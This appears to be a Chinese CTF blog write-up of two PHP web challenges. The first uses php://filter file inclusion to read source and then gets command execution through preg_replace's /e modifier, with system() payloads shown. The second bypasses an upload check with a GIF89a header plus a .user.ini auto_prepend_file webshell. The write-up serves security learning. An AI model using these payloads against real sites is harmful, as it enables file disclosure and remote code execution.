web-wp4

1.(攻防世界)ics-05
考点:文件包含,php代码审计
在这里插入图片描述

发现参数page以及value:index想到文件包含
LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞
尝试获取index.php

?page=php://filter/read=convert.base64-encode/resource=index.php

得到base64,解码得:
在这里插入图片描述

Preg_replace存在漏洞
preg_replace( pattern , replacement , subject ) :
当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123

&& 前面命令为假直接报错,后面语句不执行(前面命令执行成功,后面的命令也执行)

index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123

(cd与ls必须同时写)
在这里插入图片描述

index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

得flag

2.(SUCTF)CHECKIN
考点:文件上传
原页面
在这里插入图片描述

先尝试上传php文件,发现只能上传jpg,拦截改后缀发现
依然不行,看来php名被后端过滤,再尝试别名php2,php5,pht,phtml依然不行
我们再把文件内容换一下,发现回显:exif_imagetype:not image!,猜测后端应该调用了php的exif_imagetype()函数,这个很好绕过,添加图片文件头就可以了
Gif:GIF89a

后来参考wp
https://xz.aliyun.com/t/6091#toc-1
是使用.user.ini(详细可看上面的wp)
我们可以在.user.ini中设置php.ini中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini

两个有趣的设置:auto_prepend_file和auto_append_file
我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)
在这里插入图片描述

因此可以借用同目录下的index.php解析a.jpg中的内容
从而达到文件上传的目的
a. jpg

GIF89a
<script language='php'>system('cat /flag');</script>

.user.ini

GIF89a
auto_prepend_file=a.jpg

用蚁剑访问连接即可得flag
http://192.168.177.152:9021/uploads/6683eb5bfa1174bd139499256f60b7ab/index.php

©️2020 CSDN 皮肤主题: 深蓝海洋 设计师:CSDN官方博客 返回首页